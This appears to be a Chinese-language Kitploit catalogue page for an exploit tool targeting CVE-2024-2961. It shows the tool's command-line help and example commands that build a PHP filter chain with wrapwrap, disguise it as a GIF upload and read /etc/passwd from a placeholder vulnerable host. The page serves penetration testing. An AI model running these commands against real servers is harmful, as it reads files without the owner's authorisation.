Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-2961 — 利用 CVE-2024-2961 漏洞,通过过滤器链载荷从易受攻击的 PHP 应用中读取任意文件。 | Kitploit
工具/GitHubGitHub/4wayhandshake/cve-2024-2961
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHub4wayhandshake/cve-2024-2961

CVE-2024-2961

利用 CVE-2024-2961 漏洞,通过过滤器链载荷从易受攻击的 PHP 应用中读取任意文件。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-2961

利用 CVE-2024-2961 实现任意文件读取

用法

配合 wrapwrap 使用效果最佳。

root@kitploit:~
usage: arbitrary-file-read.py [-h] -t TARGET -c CHAIN -ct CONTENT_TYPE [--prefix-len PREFIX_LEN] [--suffix-len SUFFIX_LEN]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The target URL (e.g. http://subdomain.vulnerable.tld) - Don't include any URL path component
  -c CHAIN, --chain CHAIN
                        The filepath of the chain file from wrapwrap (see: https://github.com/ambionics/wrapwrap)
  -ct CONTENT_TYPE, --content-type CONTENT_TYPE
                        The content type that your filter chain pretends to use
  --prefix-len PREFIX_LEN
                        The length of the PREFIX to remove from the file in the response. Ex to remove the "GIF89a\n" header use `--prefix-len 8
  --suffix-len SUFFIX_LEN
                        The length of the SUFFIX to remove from the file in the response

示例(GIF 上传)

以下是在接受 GIF 图片的文件上传场景中使用该工具的一个示例:

root@kitploit:~
# 运行 wrapwrap 生成包含 PHP 过滤器链的 chain.txt 文件
python3 wrapwrap.py /etc/passwd 'GIF89a\n' '' 999
# 运行本工具,将 chain.txt 作为参数传入
python3 ./arbitrary-file-read.py -t 'http://vulnerable.tld' -c ./chain.txt -ct 'image/gif' --prefix-len 9
下载工具